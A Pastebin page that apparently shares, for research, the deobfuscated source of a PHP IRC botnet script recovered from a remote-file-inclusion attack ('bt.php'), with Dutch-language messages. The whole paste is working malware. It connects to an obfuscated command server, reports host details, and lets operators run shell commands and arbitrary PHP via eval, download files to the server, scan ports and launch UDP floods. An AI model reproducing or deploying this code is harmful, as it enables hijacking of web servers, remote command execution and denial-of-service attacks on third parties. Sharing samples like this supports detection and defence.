API tools faq
paste
deependresearch

Decoded PHP RFI from "bt.php"

deependresearch
Feb 25th, 2015
352
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.51 KB | None | 0 0
raw download clone embed print report
  1. <?php class JZRNZjJVNvjfzVRrn {
  2. var $fRjBfBRVFVrbfrN = array("FfZbrfvbbfjBzBVN" => "My42PD8kJzQjOSA/PjI=", "fJZf" => "23232", "RzZJb" => "scary", "RBFZVr" => "11", "hPXlP" => "#wWw#", "bZv" => "scan", "rjzRrRnnz" => "41aa15390e2efa34ac693c3bd7cb8e88", "rFzvBrNBrB" => ".", "FjZbbVJJrnN" => "*");
  3. var $BVjNbRJNNvjZZfzBbZ = array();
  4. var $Sok = array("key-a" => "BVnrNRRZrnnnnfv", "key-b" => "KscSOSsswSOgcwo", "key-c" => "hxLtptLhTDthPhl");
  5. function yYAQyUqAYUMmyqQm() {
  6. $xXPHHh = 'abcdefghijklm)nopqrstuvwxyz_ABCDEFGHIJKLM(NOPQRSTUVWXYZ-0123456789';
  7. $TLPpXhP = strlen($xXPHHh);
  8. for ($p = 0;$p < $this->fRjBfBRVFVrbfrN['RBFZVr'];$p++) {
  9. $eeq.= $xXPHHh[rand(0, $TLPpXhP - 1) ];
  10. }
  11. $this->MiyEiYe("NICK [" . $eeq . "]");
  12. }
  13. function amIuMymyiM($xD, $LTl) {
  14. $this->MiyEiYe("NOTICE $xD :$LTl");
  15. }
  16. function UMQYEayUauuq($xpxX) {
  17. if (isset($this->BVjNbRJNNvjZZfzBbZ[$xpxX])) return 1;
  18. else return 0;
  19. }
  20. function Iuiaauem($xpxX) {
  21. unset($this->BVjNbRJNNvjZZfzBbZ[$xpxX]);
  22. }
  23. function MiyEiYe($LTl) {
  24. fwrite($this->SoskOgOWO, "$LTl
  25. ");
  26. }
  27. function YaaqMAQAY($xpxX) {
  28. $this->BVjNbRJNNvjZZfzBbZ[$xpxX] = true;
  29. }
  30. function AuuQIUqmaMqQeUuEQ() {
  31. $xXPHHh = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  32. $TLPpXhP = strlen($xXPHHh);
  33. for ($p = 0;$p < 6;$p++) {
  34. $eeq.= $xXPHHh[rand(0, $TLPpXhP - 1) ];
  35. }
  36. if (php_uname() == "") {
  37. $PThxphxH = "---";
  38. } else {
  39. $PThxphxH = php_uname();
  40. }
  41. $this->MiyEiYe("USER " . $eeq . " 127.0.0.1 localhost :" . $PThxphxH . "");
  42. }
  43. function uIaiimaAuYuAmquaIIU() {
  44. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  45. $PLthxTpTPTL = "4ON";
  46. } else {
  47. $PLthxTpTPTL = "9OFF";
  48. }
  49. $PThxphxH = php_uname();
  50. if ($PThxphxH == "") {
  51. $JfgGdx = "15---";
  52. } else {
  53. $JfgGdx = "15" . $PThxphxH . "";
  54. }
  55. $RnGs = "15http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "";
  56. $hxOSC = getcwd() . "";
  57. $HSKs = "15" . $hxOSC . "";
  58. $oOwGwgKgWC = fileperms("$hxOSC");
  59. if (($oOwGwgKgWC & 0xC000) == 0xC000) {
  60. $SgKSkcgwOSw = 's';
  61. } elseif (($oOwGwgKgWC & 0xA000) == 0xA000) {
  62. $SgKSkcgwOSw = 'l';
  63. } elseif (($oOwGwgKgWC & 0x8000) == 0x8000) {
  64. $SgKSkcgwOSw = '-';
  65. } elseif (($oOwGwgKgWC & 0x6000) == 0x6000) {
  66. $SgKSkcgwOSw = 'b';
  67. } elseif (($oOwGwgKgWC & 0x4000) == 0x4000) {
  68. $SgKSkcgwOSw = 'd';
  69. } elseif (($oOwGwgKgWC & 0x2000) == 0x2000) {
  70. $SgKSkcgwOSw = 'c';
  71. } elseif (($oOwGwgKgWC & 0x1000) == 0x1000) {
  72. $SgKSkcgwOSw = 'p';
  73. } else {
  74. $SgKSkcgwOSw = 'u';
  75. }
  76. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0100) ? 'r' : '-');
  77. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0080) ? 'w' : '-');
  78. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0040) ? (($oOwGwgKgWC & 0x0800) ? 's' : 'x') : (($oOwGwgKgWC & 0x0800) ? 'S' : '-'));
  79. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0020) ? 'r' : '-');
  80. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0010) ? 'w' : '-');
  81. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0008) ? (($oOwGwgKgWC & 0x0400) ? 's' : 'x') : (($oOwGwgKgWC & 0x0400) ? 'S' : '-'));
  82. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0004) ? 'r' : '-');
  83. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0002) ? 'w' : '-');
  84. $SgKSkcgwOSw.= (($oOwGwgKgWC & 0x0001) ? (($oOwGwgKgWC & 0x0200) ? 't' : 'x') : (($oOwGwgKgWC & 0x0200) ? 'T' : '-'));
  85. $zZdT = "15" . $SgKSkcgwOSw . "";
  86. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "14[SAFE: $PLthxTpTPTL14]15 $RnGs 14[pwd:]15 $HSKs 14($zZdT14) [uname:]15 $JfgGdx");
  87. }
  88. function mMUyqq($hPXlP, $bZv = NULL) {
  89. $this->MiyEiYe("JOIN $hPXlP $bZv");
  90. }
  91. function aqaAEAMqEEAQI() {
  92. if (!($this->SoskOgOWO = fsockopen(uQYYuqQmMaEYyMA($this->fRjBfBRVFVrbfrN['FfZbrfvbbfjBzBVN'], $this->Sok['key-a']), $this->fRjBfBRVFVrbfrN['fJZf'], $e, $s, 30))) $this->aqaAEAMqEEAQI();
  93. $this->AuuQIUqmaMqQeUuEQ();
  94. if (strlen($this->fRjBfBRVFVrbfrN['RzZJb']) > 0) $this->MiyEiYe("PASS " . $this->fRjBfBRVFVrbfrN['RzZJb']);
  95. $this->yYAQyUqAYUMmyqQm();
  96. $this->eIQMYaeIUaMuAe();
  97. }
  98. function aUiiaEUeemm($xD, $LTl) {
  99. $this->MiyEiYe("PRIVMSG $xD :$LTl");
  100. }
  101. function YuQQmqmeaaEuqUumQi($xpxX, $dTTpxxXpLL, $uUiA) {
  102. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[UdpFlood Gestart!]");
  103. $HtltpxhTX = "";
  104. for ($p = 0;$p < $dTTpxxXpLL;$p++) {
  105. $HtltpxhTX.= chr(mt_rand(1, 256));
  106. }
  107. $pDhph = time();
  108. $p = 0;
  109. while (time() - $pDhph < $uUiA) {
  110. $NH = fsockopen("udp://" . $xpxX, mt_rand(0, 6000), $e, $s, 5);
  111. fwrite($NH, $HtltpxhTX);
  112. fclose($NH);
  113. $p++;
  114. }
  115. $JsP = $p * $dTTpxxXpLL;
  116. $JsP = $JsP / 1048576;
  117. $PZk = $JsP / $uUiA;
  118. $PZk = round($PZk);
  119. $JsP = round($JsP);
  120. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[UdpFlood Afgerond!]: $JsP MB verzonden / gemiddelde: $PZk MB/s ");
  121. }
  122. function eIQMYaeIUaMuAe() {
  123. while (!feof($this->SoskOgOWO)) {
  124. $this->yYmum = trim(fgets($this->SoskOgOWO, 512));
  125. $JfvJvnzjBZBFv = explode(" ", $this->yYmum);
  126. if (substr($this->yYmum, 0, 6) == "PING :") {
  127. $this->MiyEiYe("PONG :" . substr($this->yYmum, 6));
  128. }
  129. if (isset($JfvJvnzjBZBFv[1]) && $JfvJvnzjBZBFv[1] == "004") {
  130. $this->MiyEiYe("JOIN " . $this->fRjBfBRVFVrbfrN['hPXlP'] . " " . $this->fRjBfBRVFVrbfrN['bZv'] . "");
  131. $this->mMUyqq($this->fRjBfBRVFVrbfrN['hPXlP'], $this->fRjBfBRVFVrbfrN['bZv']);
  132. $this->uIaiimaAuYuAmquaIIU();
  133. }
  134. if (isset($JfvJvnzjBZBFv[1]) && $JfvJvnzjBZBFv[1] == "433") {
  135. $this->yYAQyUqAYUMmyqQm();
  136. }
  137. if ($this->yYmum != $FbN_ttD) {
  138. $ZFnjffNjRJnVbZ = array();
  139. $Gog = substr(strstr($this->yYmum, " :"), 2);
  140. $kWsW = explode(" ", $Gog);
  141. $kcKGG = explode("!", $JfvJvnzjBZBFv[0]);
  142. $ggwSsC = explode("@", $kcKGG[1]);
  143. $ggwSsC = $ggwSsC[1];
  144. $kcKGG = substr($kcKGG[0], 1);
  145. $gcOswWo = $JfvJvnzjBZBFv[0];
  146. if ($kWsW[0] == $this->kcKGG) {
  147. for ($p = 0;$p < count($kWsW);$p++) $ZFnjffNjRJnVbZ[$p] = $kWsW[$p + 1];
  148. } else {
  149. for ($p = 0;$p < count($kWsW);$p++) $ZFnjffNjRJnVbZ[$p] = $kWsW[$p];
  150. }
  151. if (count($JfvJvnzjBZBFv) > 2) {
  152. switch ($JfvJvnzjBZBFv[1]) {
  153. case "QUIT":
  154. if ($this->UMQYEayUauuq($gcOswWo)) {
  155. $this->Iuiaauem($gcOswWo);
  156. }
  157. break;
  158. case "PART":
  159. if ($this->UMQYEayUauuq($gcOswWo)) {
  160. $this->Iuiaauem($gcOswWo);
  161. }
  162. break;
  163. case "PRIVMSG":
  164. if (!$this->UMQYEayUauuq($gcOswWo) && (md5($ggwSsC) == $this->fRjBfBRVFVrbfrN['FjZbbVJJrnN'] || $this->fRjBfBRVFVrbfrN['FjZbbVJJrnN'] == "*")) {
  165. if (substr($ZFnjffNjRJnVbZ[0], 0, 1) == $this->fRjBfBRVFVrbfrN['rFzvBrNBrB']) {
  166. switch (substr($ZFnjffNjRJnVbZ[0], 1)) {
  167. case "user":
  168. if (md5($ZFnjffNjRJnVbZ[1]) == $this->fRjBfBRVFVrbfrN['rjzRrRnnz']) {
  169. $this->YaaqMAQAY($gcOswWo);
  170. } else {
  171. $this->amIuMymyiM($this->fRjBfBRVFVrbfrN['hPXlP'], "[Auth]: Fout password $kcKGG idioot!!");
  172. }
  173. break;
  174. }
  175. }
  176. } elseif ($this->UMQYEayUauuq($gcOswWo)) {
  177. if (substr($ZFnjffNjRJnVbZ[0], 0, 1) == $this->fRjBfBRVFVrbfrN['rFzvBrNBrB']) {
  178. switch (substr($ZFnjffNjRJnVbZ[0], 1)) {
  179. case "info":
  180. $this->uIaiimaAuYuAmquaIIU();
  181. break;
  182. case "die":
  183. $this->MiyEiYe("QUIT :die command from $kcKGG");
  184. fclose($this->SoskOgOWO);
  185. exit;
  186. case "system":
  187. $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
  188. $cokgGgOokkgCG = system($SGsSWOsGogwo);
  189. $sOkKkwcossOgOS = explode("
  190. ", $cokgGgOokkgCG);
  191. for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
  192. break;
  193. case "download":
  194. if (count($ZFnjffNjRJnVbZ) > 2) {
  195. if (!$wW = fopen($ZFnjffNjRJnVbZ[2], "w")) {
  196. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[download]: Downloaden kan niet!, permission denied.");
  197. } else {
  198. if (!$sOkKkwcossOgOS = file($ZFnjffNjRJnVbZ[1])) {
  199. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[download]: Er kan niet worden gedownload van " . $ZFnjffNjRJnVbZ[1] . "");
  200. } else {
  201. for ($p = 0;$p <= count($sOkKkwcossOgOS);$p++) {
  202. fwrite($wW, $sOkKkwcossOgOS[$p]);
  203. }
  204. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[download]: Bestand " . $ZFnjffNjRJnVbZ[1] . " downloaded naar " . $ZFnjffNjRJnVbZ[2] . "");
  205. }
  206. fclose($wW);
  207. }
  208. }
  209. break;
  210. case "sexec":
  211. $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
  212. $cokgGgOokkgCG = shell_exec($SGsSWOsGogwo);
  213. $sOkKkwcossOgOS = explode("
  214. ", $cokgGgOokkgCG);
  215. for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
  216. break;
  217. case "restart":
  218. $this->MiyEiYe("QUIT :gerestart door $kcKGG");
  219. fclose($this->SoskOgOWO);
  220. $this->aqaAEAMqEEAQI();
  221. break;
  222. case "logout":
  223. $this->Iuiaauem($gcOswWo);
  224. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[Auth]14 Je bent nu uitgelogt $kcKGG");
  225. break;
  226. case "passthru":
  227. $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
  228. $cokgGgOokkgCG = passthru($SGsSWOsGogwo);
  229. $sOkKkwcossOgOS = explode("
  230. ", $cokgGgOokkgCG);
  231. for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
  232. break;
  233. case "dns":
  234. if (isset($ZFnjffNjRJnVbZ[1])) {
  235. $wW = explode(".", $ZFnjffNjRJnVbZ[1]);
  236. if (count($wW) == 4 && is_numeric($wW[0]) && is_numeric($wW[1]) && is_numeric($wW[2]) && is_numeric($wW[3])) {
  237. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[dns]: " . $ZFnjffNjRJnVbZ[1] . " => " . gethostbyaddr($ZFnjffNjRJnVbZ[1]));
  238. } else {
  239. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[dns]: " . $ZFnjffNjRJnVbZ[1] . " => " . gethostbyname($ZFnjffNjRJnVbZ[1]));
  240. }
  241. }
  242. break;
  243. case "exec":
  244. $SGsSWOsGogwo = substr(strstr($Gog, $ZFnjffNjRJnVbZ[0]), strlen($ZFnjffNjRJnVbZ[0]) + 1);
  245. $cokgGgOokkgCG = exec($SGsSWOsGogwo);
  246. $sOkKkwcossOgOS = explode("
  247. ", $cokgGgOokkgCG);
  248. for ($p = 0;$p < count($sOkKkwcossOgOS);$p++) if ($sOkKkwcossOgOS[$p] != NULL) $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], " : " . trim($sOkKkwcossOgOS[$p]));
  249. break;
  250. case "udpflood":
  251. if (count($ZFnjffNjRJnVbZ) > 3) {
  252. $this->YuQQmqmeaaEuqUumQi($ZFnjffNjRJnVbZ[1], $ZFnjffNjRJnVbZ[2], $ZFnjffNjRJnVbZ[3]);
  253. }
  254. break;
  255. case "eval":
  256. $eval = eval(substr(strstr($Gog, $ZFnjffNjRJnVbZ[1]), strlen($ZFnjffNjRJnVbZ[1])));
  257. break;
  258. case "rndnick":
  259. $this->yYAQyUqAYUMmyqQm();
  260. break;
  261. case "pscan":
  262. if (count($ZFnjffNjRJnVbZ) > 2) {
  263. if (fsockopen($ZFnjffNjRJnVbZ[1], $ZFnjffNjRJnVbZ[2], $e, $s, 15)) {
  264. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[pscan]: " . $ZFnjffNjRJnVbZ[1] . ":" . $ZFnjffNjRJnVbZ[2] . " is open");
  265. } else {
  266. $this->aUiiaEUeemm($this->fRjBfBRVFVrbfrN['hPXlP'], "[pscan]: " . $ZFnjffNjRJnVbZ[1] . ":" . $ZFnjffNjRJnVbZ[2] . " is closed");
  267. }
  268. }
  269. break;
  270. case "raw":
  271. $this->MiyEiYe(strstr($Gog, $ZFnjffNjRJnVbZ[1]));
  272. break;
  273. }
  274. }
  275. }
  276. break;
  277. }
  278. }
  279. }
  280. $FbN_ttD = $this->yYmum;
  281. }
  282. $this->aqaAEAMqEEAQI();
  283. }
  284. }
  285. function uQYYuqQmMaEYyMA($FNRz, $Sok = '') {
  286. if ($Sok == '') {
  287. return $FNRz;
  288. }
  289. $FNRz = base64_decode($FNRz);
  290. $Sok = str_replace(' ', '', $Sok);
  291. if (strlen($Sok) < 8) {
  292. exit('key error');
  293. }
  294. $LpTdxlD = strlen($Sok);
  295. if ($LpTdxlD > 32) {
  296. $LpTdxlD = 32;
  297. }
  298. $Sok = substr($Sok, 0, $LpTdxlD);
  299. $WosCSgW = strlen($FNRz);
  300. $Phhtp = str_repeat("", $WosCSgW);
  301. $CgGwS = str_repeat("", $WosCSgW);
  302. $Jjj = str_pad("", $WosCSgW, $Sok);
  303. $FNRz = (($FNRz ^ $Jjj) & $Phhtp) | ($FNRz & $CgGwS);
  304. return $FNRz;
  305. }
  306. $scoWGkcW = new JZRNZjJVNvjfzVRrn;
  307. $scoWGkcW->aqaAEAMqEEAQI();
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!